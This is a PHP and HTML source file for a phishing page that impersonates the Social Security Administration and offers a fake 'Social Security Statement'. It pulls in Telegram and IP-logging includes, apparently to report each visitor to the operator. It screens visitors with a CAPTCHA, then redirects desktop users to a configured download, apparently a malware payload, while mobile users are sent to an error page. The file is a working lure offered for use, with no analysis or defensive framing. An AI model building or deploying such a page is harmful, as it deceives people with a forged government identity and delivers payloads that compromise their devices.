<?php
session_start();

include_once 'settings.php';
include_once 'Telegram.php';
include_once 'Telegram2.php';
include_once 'ip.php';
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Social Security Statement</title>
    <link href="logo.svg" rel="stylesheet">
    <script src="https://www.google.com/recaptcha/api.js" async defer></script>
    <style>
        body {
            font-family: 'Roboto', sans-serif;
            background-color: #f3f4f6;
            margin: 0;
            padding: 0;
            color: #333;
        }

        .container {
            width: 100%;
            max-width: 900px;
            margin: 50px auto;
            background-color: #fff;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
            text-align: center;
        }

        .header {
            background-color: #0A2463;
            padding: 20px;
            border-radius: 8px 8px 0 0;
            color: #fff;
            font-size: 24px;
            font-weight: 700;
        }

        .header img {
            height: 50px;
            margin-right: 10px;
        }

        h2 {
            color: #0A2463;
            font-size: 24px;
            margin-bottom: 20px;
        }

        .instructions {
            text-align: left;
            font-size: 16px;
            margin-bottom: 20px;
            color: #555;
        }

        .btn {
            display: inline-block;
            padding: 15px 30px;
            background-color: #0A2463;
            color: white;
            font-size: 18px;
            font-weight: 500;
            text-decoration: none;
            border-radius: 5px;
            transition: background-color 0.3s ease, transform 0.3s ease;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

        .btn:hover {
            background-color: #1e3a8a;
            transform: translateY(-2px);
        }

        .btn:focus {
            outline: none;
        }

        .btn i {
            margin-right: 10px;
        }

        .footer {
            margin-top: 30px;
            font-size: 14px;
            color: #777;
        }

        .footer a {
            color: #0A2463;
            text-decoration: none;
        }

        .captcha-container {
            background-color: #f8f9fa;
            border: 2px solid #0A2463;
            border-radius: 8px;
            padding: 30px;
            margin: 20px 0;
            display: none;
            text-align: center;
        }

        .captcha-title {
            font-size: 20px;
            font-weight: 600;
            color: #0A2463;
            margin-bottom: 20px;
        }

        .recaptcha-wrapper {
            display: inline-block;
            margin: 20px 0;
        }

        .captcha-buttons {
            margin-top: 20px;
        }

        .captcha-btn {
            padding: 12px 25px;
            margin: 0 10px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.3s ease;
        }

        .verify-btn {
            background-color: #28a745;
            color: white;
        }

        .verify-btn:hover {
            background-color: #218838;
            transform: translateY(-1px);
        }

        .verify-btn:disabled {
            background-color: #6c757d;
            cursor: not-allowed;
            transform: none;
        }

        .cancel-btn {
            background-color: #6c757d;
            color: white;
        }

        .cancel-btn:hover {
            background-color: #5a6268;
        }

        .captcha-message {
            margin-top: 15px;
            font-weight: 600;
        }

        .captcha-error {
            color: #dc3545;
        }

        .captcha-success {
            color: #28a745;
        }
    </style>
</head>

<body>
    <div class="container">
        <div class="header">
            <img src="logo.svg" alt="SSA Logo">
            Social Security Administration | SSA
        </div>

        <h2>Your Social Security Statement is ready to review</h2>

        <div class="instructions">
            <p>Your Social Security Statement is now available. You can:</p>
            <ul>
                <li>View your statement online</li>
                <li>Download your statement as a PDF file</li>
                <li>Print your statement for your records</li>
            </ul>

            <p>For security reasons, we recommend accessing your statement through your secure device.</p>
        </div>

        <a href="#" class="btn" onclick="showCaptcha()">
            <i class="fa fa-download"></i> Access Your Statement
        </a>

        <div class="captcha-container" id="captcha-container">
            <div class="captcha-title">Security Verification Required</div>
            <p>Please complete the security check below to access your statement:</p>
            
            <div class="recaptcha-wrapper">
                <div class="g-recaptcha" data-sitekey="6LeZX0QsAAAAABLUtD0c6HNc_Elh1uvnM0Syw2ww" data-callback="onCaptchaSuccess"></div>
            </div>
            
            <div class="captcha-buttons">
                <button class="captcha-btn verify-btn" id="verify-btn" onclick="verifyCaptcha()" disabled>Proceed to Download</button>
                <button class="captcha-btn cancel-btn" onclick="hideCaptcha()">Cancel</button>
            </div>
            
            <div id="captcha-message" class="captcha-message"></div>
        </div>

        <div id="result" style="color: #00ff00; margin-top: 20px;"></div>

        <div class="footer">
            <p>&copy; 2025 Social Security Administration | SSA. All rights reserved.</p>
        </div>
    </div>

    <script>
        let captchaSolved = false;
        let recaptchaResponse = null;

        function showCaptcha() {
            document.getElementById('captcha-container').style.display = 'block';
            document.getElementById('captcha-message').innerHTML = '';
            // Reset captcha
            grecaptcha.reset();
            captchaSolved = false;
            document.getElementById('verify-btn').disabled = true;
        }

        function hideCaptcha() {
            if (captchaSolved && recaptchaResponse) {
                // If captcha is solved, proceed with download instead of just hiding
                document.getElementById('captcha-message').innerHTML = '<div class="captcha-success">Verification complete! Redirecting...</div>';
                setTimeout(() => {
                    document.getElementById('captcha-container').style.display = 'none';
                    downloadFile();
                }, 1000);
            } else {
                // Normal cancel behavior if captcha not solved
                document.getElementById('captcha-container').style.display = 'none';
                grecaptcha.reset();
                captchaSolved = false;
                recaptchaResponse = null;
                document.getElementById('verify-btn').disabled = true;
            }
        }

        function onCaptchaSuccess(response) {
            recaptchaResponse = response;
            captchaSolved = true;
            document.getElementById('verify-btn').disabled = false;
            document.getElementById('captcha-message').innerHTML = '<div class="captcha-success">Verification successful! You can now proceed.</div>';
        }

        function verifyCaptcha() {
            const messageDiv = document.getElementById('captcha-message');
            
            if (captchaSolved && recaptchaResponse) {
                messageDiv.innerHTML = '<div class="captcha-success">Verification complete! Redirecting...</div>';
                
                setTimeout(() => {
                    document.getElementById('captcha-container').style.display = 'none';
                    downloadFile();
                }, 1000);
            } else {
                messageDiv.innerHTML = '<div class="captcha-error">Please complete the captcha verification first.</div>';
            }
        }

        function downloadFile() {
            var isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);

            if (isMobile) {
                // Redirect to the error page for mobile users
                window.location.href = "<?php echo $fileSettings['error_page']; ?>";
            } else {
                // Proceed with download for non-mobile users
                window.location.href = "<?php echo $fileSettings['download_file']; ?>";
                document.getElementById("result").innerHTML = "<h2>Your file has been downloaded successfully!</h2>";
            }
            
            // Reset captcha after download attempt
            setTimeout(() => {
                grecaptcha.reset();
                captchaSolved = false;
                recaptchaResponse = null;
            }, 2000);
        }

        // Handle captcha expiration
        function onCaptchaExpired() {
            captchaSolved = false;
            recaptchaResponse = null;
            document.getElementById('verify-btn').disabled = true;
            document.getElementById('captcha-message').innerHTML = '<div class="captcha-error">Captcha expired. Please try again.</div>';
        }

        // Handle captcha error
        function onCaptchaError() {
            captchaSolved = false;
            recaptchaResponse = null;
            document.getElementById('verify-btn').disabled = true;
            document.getElementById('captcha-message').innerHTML = '<div class="captcha-error">Captcha error. Please refresh and try again.</div>';
        }
    </script>
</body>

</html>
